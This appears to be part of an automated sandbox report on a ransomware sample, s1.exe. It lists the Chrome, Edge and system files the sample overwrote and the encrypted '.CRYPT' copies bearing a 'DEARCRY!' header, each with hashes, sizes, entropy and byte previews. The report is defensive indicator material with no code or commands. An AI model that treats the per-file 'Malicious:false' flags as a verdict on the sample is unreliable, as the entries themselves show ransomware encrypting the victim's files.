                                                              MD5:DCB5E84867791F72BA74B83381D520CB
                                                              SHA1:C060478BB80CA9C8B924051A571C0D705D6CE033
                                                              SHA-256:165295F54DA4E8C9C32171CC45F8EA29D9CD53A342F61D7D4508A654F0F660CF
                                                              SHA-512:EEAFF7600F8BE47C851546D69DC957174C61796139469908AF49705B031FE1249EEA9F6404D2151D73454F1BDED2FEAF0E30295FF36CA4296DF6BC780A44633A
                                                              Malicious:false
                                                              Preview: DEARCRY!....r....C.R.HVO*y...ZR.a.^..P.)5Q..,!B.h.)"6{tb..|v!%T]..U.H...t.h.Z)'k..v.....W.{.0...ww..?....+.P.b..a5J..y..h.....'.].L....!..&...7...@.........aY+9..SD.?7".Y3.....Kc;..j......+R..q..@#.[..>.....Q....;.....3cfXN.NM..'}e..yy^.....T"...........2.=T_................%E....[.d.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.132019615878014
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F1A265474928065FD8A2BE719597A99C
                                                              SHA1:7AEBDF1194611FEE8C22E59BE3BE3153193408B8
                                                              SHA-256:D2DB4468072541FD91B4661326667798ECE4407325492787BDA9EDE689466B38
                                                              SHA-512:7B90B7478E389860BF19DA7E27B8B66CB7D510D03A98C02572FBFE8EBF5C3D688FF210F750AF77DC0C348DD3EDC0C9D9BF9B0089EC80E841276BCA7071675B0F
                                                              Malicious:false
                                                              Preview: DEARCRY!....(..."LG..a-.!*.f..{).....0.h?8D..(^tl...!#.T.y..E.....;X.W.fV..5_v....!.W.ck.=w. ....OCeY..y..EL..7(.F...%.z.Q..[-/....z`&.{R.....P{..-l.6.N....tk..`.~.....F..f1'....U.t^..O#.T.-.....S..s...CE.P.q..|.Q..UC!.4.<.....r.P.U.%y....]."...Q0.u.(tw...S.............V......1?W.E.9
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16680
                                                              Entropy (8bit):7.9873558013132655
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2C69566B2560B2E8948B665CD32C2AA7
                                                              SHA1:9E6C0100BFCD5954B733BCA81A2FB4A4C7FF2738
                                                              SHA-256:52D7249B04601895536DBA325B12357FC650C644A063C708D50D16ACE740C431
                                                              SHA-512:344560A921D780EBD68E469DC9C5E18B628E81623F298FF63166CA2D475D8C09FDD772A53D25244347877BB2758287492D16B59A29069FA75B9D620E810DB6CF
                                                              Malicious:false
                                                              Preview: DEARCRY!....A....f.<2..c....0.5.g......l.....}6l.i.k#.....g..-.2%2K..2:.....aL/&!.)C..@........u....Q.<..^....:n.G..'...N..a,....:.......m..9d...).V.x......2..8...~^-..W.2\.a...}.Ko....V.+.Z..4.M...4.7.gj.......^h....RS.......o..$.@nR../.5..Azh..@G^.U....3.....@.......".B-]0/+.f.HX.,.-.....DN\.&P....u.Z.F@.V?.1:.c3.j..e.....e......)..c2.E...b..L....a{7....[y.)....~..E#.))...ry..%..lo.>...&..\.|...X.@}{4B.F.C,..R...+..9w..)o..=...a0.c..FC.....[.....x....../..j...g....M..l... ..&6....e{_...w..l....)...f.28..........>Uj../.7J9l~.[.b^fD.i..H.G..D..@..+'..%-u.....gXKS$%.8..J..y.@.'.C......b..U...e.....l.x.x.-g.'C...4...p{.#.5..bY7.......&0... .(..H.05^(..S<HF.......0u...R....Ds1.....p6j.2>.....;..YB.frxz...g.......S..[4..;}.]...kA..& .+..8O...S.Z.^.....t.P.&"X....2.C..}...Y.^>.[...../.D......q.z.q....'Fa@..'....7.v.m.'=..qs8jq....>a[....Y(....w.'.d~Q..@.$%...xce..J....Q.~D4;j..TQ;...M.(..fP..._.0_0.I...r.=\...........6.f.S,..z..K;;.?|t%..l.&......=\.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16680
                                                              Entropy (8bit):7.989047899007565
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0E63A8DB231324D6D2B7D8DB9AECF21F
                                                              SHA1:6E8699A00BF4880818C9691268509365EE12656F
                                                              SHA-256:7F167C40ED679D7D6BE1C322454B72F7BB1212A9ED11DE58052B64CC2461D3A4
                                                              SHA-512:772E13EC1F0313B775789B8F7D23F02EB98AA44D6511C9A5DBC0515451F63B42F3C63CFBC55A941C32043EF93D8B4366BBB5DCAEED43E37E60347B90A9A97EB5
                                                              Malicious:false
                                                              Preview: DEARCRY!....93..~d:...8.?f.._......`rT..-...G.?8;:....,es}#H..rF8...k...2..(..h_{*.B .z}.a~;.ax$.h.<.G.c....<..8#.>R^.A...k...:1..8Y+B.B.F.k..l.._....+.k.nc>@...c.Y.j&.K.:....m.L;...\.....o.1..#.Cb..d......R\....u.....H..f...........BQ..ZZ...b.'..1.............@.........`.....(...^.*.>...gQ.u'HP5t........c.cW..D..;..".....J........j..^.,.#3B}..P.H.7......-3#...rR-..0..J....Q....U..S..S.b.}... J.^Z=.H..p..U7/N.M.......+.j2..9...R..@. .}.T..!......Y....t.x.Pf..L/.C.h.....c.mi..c..X...!G..4.j.%_c3.|...U......-.?*..Q.x..Z|...0.V...i.O,..Pw.....6x..V.....`i.HF.......ev...8.Rj.fq.<....%.eI.M.....7...{..9?ev...T.+.^gJ......Y..L.........x..O=(.S.k.....~.\r,.......m.Q..5........M.'{....7..\.n...XL..I=.{......O...!..mm.C...b-.v.[.b.^s..M...f.R...r.....-.t....#r....5..{[.8l....g..F .W...........~H...i...8.`.b......*.# .Y..W{..H. Q.S.M...y&..P..1..'.?VU.WQ.....`i..].h.J...k5._..-....UY.?R501...n...!.....z&..wO..........8:f...:.c............%.@.?.8'.5
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):32
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5216DDCC58E8DADE5256075E77F642DA
                                                              SHA1:43D83B2E816A89CAC876F16530B0B625585C8160
                                                              SHA-256:22A48051594C1949DEED7040850C1F0F8764537F5191BE56732D16A54C1D8153
                                                              SHA-512:AC800471DE52F74E8D323237B1B913CA28BC0F46F26B88F8B25E25E733C1A608308A2239B89A4079A5D0805428B31E165A06129BB198332E5D071FEAB6271272
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):7.308620725825958
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E1ED24978F0CD988EB2BDB0E6057B2E0
                                                              SHA1:39B1C4D8708AD5AD57B6F2782B0C3196A24FD608
                                                              SHA-256:7B07AFEB8BF7A748826EABDF595A2D468A4D3DA59B3A2ECCDC8F215F528A74B7
                                                              SHA-512:5A3CCE2E65D49BD142E8E230AFFBE2F0B0CC0B238FCF7F8C4B934BD1ECDD5F5F5AFDC67C2E47A14AE305E3B7C4029AFEF2E9A2D0D25E33AB07E9C030D66A03D2
                                                              Malicious:false
                                                              Preview: DEARCRY!....e..y..%.f.aIh.0...g.....6/dXo...d.~4..jb.../.k1Ix.7.nv...w.....D..s......J....}...T*.QK=..\.."..sbV.AJ?.4q............?I..[F..r........>..O.`...G.;..).(.... ...C)Z&.....r.qea.kt5.Z_[.9.k.."..\,..qfm}8#{..B..V.YC.Y.&...Y..ge..SE..xU!.....1%.d{4.... ................".............Y/.;...S.Gg..GI.H..5.....
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:098890DDE069E9ABAD63F19A0D9E1F32
                                                              SHA1:E2512172ABF8CC9F67FDD49EB6CACF2DF71BBAD3
                                                              SHA-256:63C1DD951FFEDF6F7FD968AD4EFA39B8ED584F162F46E715114EE184F8DE9201
                                                              SHA-512:53B74BE8B295B733FDFAFBD7D2A22B1686733740DE7FDC592B26CF3E1874CFCE158170CE9230E24696331A61829244E5D9F48ABDACC9FFA8C4CB498724844CF8
                                                              Malicious:false
                                                              Preview: AAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.219062803283529
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6863F81811522742BF5724120E80BA49
                                                              SHA1:41B5EB840E4DB341C2FB60CD8E654F3BB8F65E63
                                                              SHA-256:42A451BBA196FB02F83158CE9E76C7CBD65EF1C9EBD10EE1AC010E1905E8EEEF
                                                              SHA-512:A8E6A8B6A01C90550ED1B10F4414AFE9133AB78568B3CF57CB2370ABBB614301A9C13E79CC5C6DB1B0AEC9FD60AC79E111E7AD3A7479F7BE772F466D92C4DD95
                                                              Malicious:false
                                                              Preview: DEARCRY!......4H!..,s...uP.q.Y.,G.F..[...F....TX..:A.J...n0T.?.+......:.].........$./G..)&..1.>\P?...S.%.q.....Ex....5K%0.....%!26_.i.p...b..ioe.....?F..}VV..>...M.-..Y.S...........a=...eq4r...[.4..E.._mj...m.3..r...S..S.b.\.9...>C".a,....C].......D.)................r..6.J...<5o+.
                                                              C:\Users\user\AppData\Local\IconCache.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):17865
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:72AC226572D0BC9BF241413C5C0B47BA
                                                              SHA1:2C5D0B58BB559F15DA08D2FF97638971B53A7BDD
                                                              SHA-256:C05D722C8DF5420EC9781BF1996043874873ED7C812C744D319498B104C63995
                                                              SHA-512:9522DBD8450B7935195D14F0F313BDA0A72969FFA59F89F7438D19EC2E7418E2F83BDAE2C9E56F0242C9150BF72A2626FF69842BA9A625280748CF020F1A3C27
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\IconCache.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):18152
                                                              Entropy (8bit):7.989825811091846
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9341255CED8B3920AEDD00BCEABC5924
                                                              SHA1:F67083158C40D8A9C9A2EF48B9021BFE134DB67B
                                                              SHA-256:CF8CD0662312C0002E2F47F9EF445853B36770871A1716F40DFDB965F4912C81
                                                              SHA-512:C24E6B44CD57B3AE418B2707B23A449CB896B4FBEB4D035FA3886874DAB665968DF3AA84E0EF5BED03E2F2D04F9E6A24881A733108DC8EF8650C390246DABB28
                                                              Malicious:false
                                                              Preview: DEARCRY!....)....N..(...r...n..Z6.....q...;.B.....cj.-.X....s...w"SI{Zn..jc.kk..*..d.#As.....\.*$r..C..[..Z.=. jf\$.........@|9.Q..j....t..3...<Z.........i6.O;..J..".>.zP....x..:?.nj.....~........vF>..\..|.=...Q.|..vI.o...;vC..--.R..&d...2WW.X..K........E......VSE*...C...jT..;...*..<^...M.[..y...v.0.9....).aC..C.V.AA.K.........yf.....vy.s.|.....'i.;M;............*.}MqX.yD.LN..>q.&....]...~1C....&..H..+qn..b....d4.g......u3...m>..j....9.8?..s).V...4H...x.1.....JI.Y.)....u.Nl..NC8.[..\:=..;.7..p../E..Y;.=!.<jNk..v%...<.Z...0..kb...'P...Z..?.@Y.t.?....5.....^...,..g4T.'hE.L.:.I...^...0.=Jw?w..G...e.....W&..JR~...0H48.V.L.H...y...S[.....gv..\..DO..{N.O..BY...W...\^......i...u....o..;.'..$.... .u?.8e.>./.Y.....j....*O.T..G...T9..vA....@...s.S..Ap."..........V.....Br....b3.S.Z...#/..nI.F.x....7.f.r....0.. .hw....I.KD(."6.....>..\#.#a.. .p.L.4.yf..l..z.1..m...3...^.!MT%...J...K..;f?..s.....w7.X.7.X...g....&m..X..#R.d..].L.r..!m....
                                                              C:\Users\user\AppData\Local\MicrosoftEdge\SharedCacheContainers\MicrosoftEdge_DNTException\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):592
                                                              Entropy (8bit):7.499799670487215
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2159B916FF580BD54824E6F67A6C1E5E
                                                              SHA1:F54FA0AC5877376B5EEDF20B7AEB9BC67D45B13F
                                                              SHA-256:B3B69A5410D47D16ACC19470257FEEA6635796DEEE00A858D0BC2F8571D9B588
                                                              SHA-512:E0F280A1D7EF717310132246F6EEB0EB161FBB5E098CA1724927C9089DB9661AE7CA316EC028081101196D569B359943A17C44B87C6B196B15E5FE09916D4B00
                                                              Malicious:false
                                                              Preview: DEARCRY!.........X.}.+H!g....~A.............4#.....u../..@...]M......}.m...dCA...j.s...aa/.&V#-ll......Y....J.[.=O.'l...D..%.e.e)0gJS...j.}8...!.....a.[.lC.q.......,K..........v....O|:...<6:.Pw.B/.Dx..I...k5..+:/{..:.U...4|..c....O.`lv.....L(.o.#[...................e...;.......W..DEARCRY!.......[......-....CZ.s.D.3kr....'..".j....pq...u..5.......d|.4.#.6.Q....@!J.&>|.-t........0. ^k.0"...#*.M.....=K......D;.<.u..s.....P......H....F...o+..Izl..`..j....Q..:.]......6X.an.w...Y..JzFe_.@4.E.[~.&.....>f.\vT...M9\]q..0 @wW).b.v..+.... %...................#.7F.:|.n.P
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\addinutil.exe.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):203
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B7E471A82E6D48EFA084772062254474
                                                              SHA1:8C9B5670CE55EA37890575AE49C3471254A31204
                                                              SHA-256:91F8EF345FA75BCAF2F70105082AE076B35ED1AA4E66C86ECF70A52C2CB63566
                                                              SHA-512:B71632BF49ECD523F01B18F72B25663BCB6B76190CED9AA0E0F47B5D5B4EC2F78B9F58EBB60205A03ECC5E1A7B46DAB08D0A57BED1DAFE7724268F0E675C712E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\addinutil.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):488
                                                              Entropy (8bit):7.475002336790052
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:709787AEC091B725556D03146C7E4720
                                                              SHA1:775A71CF40D704DE909F8968F2DAB524DEC11288
                                                              SHA-256:41E971984F881E98DE4B412752DE24DC6713B4913C5BF39FD8650B2A03108848
                                                              SHA-512:F6B58CE986F03B28F62100C4309C4102DC11AE287B610429B2E9B7DF74C0302AA15ADD8B558D5E44DC4F82B5C9E6F4D208B67C772B8DDF771989287CB9B91AC2
                                                              Malicious:false
                                                              Preview: DEARCRY!.....&O.D...rt.j.....<K...iu.X...U....8....y.t.V.Jgi.I.1a.d.8%.H...v.2..D.E.M....io1H..z.W;...xj..[.2.C=.P......a[$..ou.g.b...i'.I.~....\vc....9....Ctp/.5q..o!.....(.'...c...c}..B..>.H.n.X..Y.ef5Z|....H..$....9.s*.#....;6y.x.n........G..5s..".............YlE.9(o.v..i....`.>....z.[V..G...Q..F..)..9..fI.m............'..dR........W.l..2oE..G_.s..R.m..%qb.mK.#..g)y%..9..\7;0..+z:.;*C....:..i..[...r.......r.,..#_$H....J..b.J...ix....?.......V.MQ%.df.
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):388
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1DC5D31EF9205F1034B64D635D59CB32
                                                              SHA1:C172576576C5AC5A3C2912BDFD0C8365B5365513
                                                              SHA-256:676D1F912A22A12AD4C80BF552355A7E0995C56E6EF7527AAA9B77E513EFC065
                                                              SHA-512:BC334638ACB1416787DF04CBAEBDE99CD15D96C5B96B6F950CBDFB54177FCD2F2ECCE4DC9212A9A3F2F85269AC901AEF147EC6297C31C5EE6CC39EE4CDAC17C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):680
                                                              Entropy (8bit):7.725369414033111
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84D0479269DF81B0FDB9FE41FFF5BED4
                                                              SHA1:ADBA273596EACDC392466E3C2D46A4D97B240702
                                                              SHA-256:126BB61934A130E3A13111DD768A8F2D413AC97B055E44FFCC69699032AF2712
                                                              SHA-512:F29A19C133A82B057FA9D692F5173A6E0C2336DF8DA62CF17DC752610256A107CFEA499382171B35F9C2DF76B977E08A37767A8DEE0E59C99CD8BF80AB990AC8
                                                              Malicious:false
                                                              Preview: DEARCRY!.......N..C.V..3......8.7..`.........*.K...........<#v.|c@...{..'./+.v..0..Ya....q3..;...m.+....~z.o.s.Y.x..J1}...4J..._98...y..T%c......#...A-...3...Bv9".K..u.-#V/8~.dR..v=".#@..L.......2._..e.|.^..ft.]J.E...H..bB..{<..v......v..`.V._>.......................Z... ....N.&X..M...%....X...aB*5y..D.O.....2.t..*.N.:Z.9..mWt....u..".i:.Di"...T.J.b.P.:.7. o.v...r...v..>.=....S\.X.8/el...%.& ..>..-..).....S.......z.R....`h..b...`.K.O..OF@...0.e$k..h ....d......A.+....f._c..B..C.....z....m......X.Q.t.n.2.BOG'..G.e,.3...O.X......mz...n.....>k.~.j....mxK.F.?..d....(....6..gbx......@.L.J).Q......|.MXe.b....jpc.l}..;...Q........2.
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):642
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2014FA3D2D05314994A36F992E8FF9CD
                                                              SHA1:0E4ED4B4FB4B837BAE7C7CB6B127B5D6CDC53491
                                                              SHA-256:BDFAA3F407A9E38AA11A7E983BD12BE12C48969F5C522447B57F7398958E5CE6
                                                              SHA-512:97921B343140C198866F6F3E1088B942D3D6D240ABB9F8C328F925F84CBB8911356BEFEC6229FF830FBB88341F3052A45FC1BF903CEF0049E2719CE9E3B5F759
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
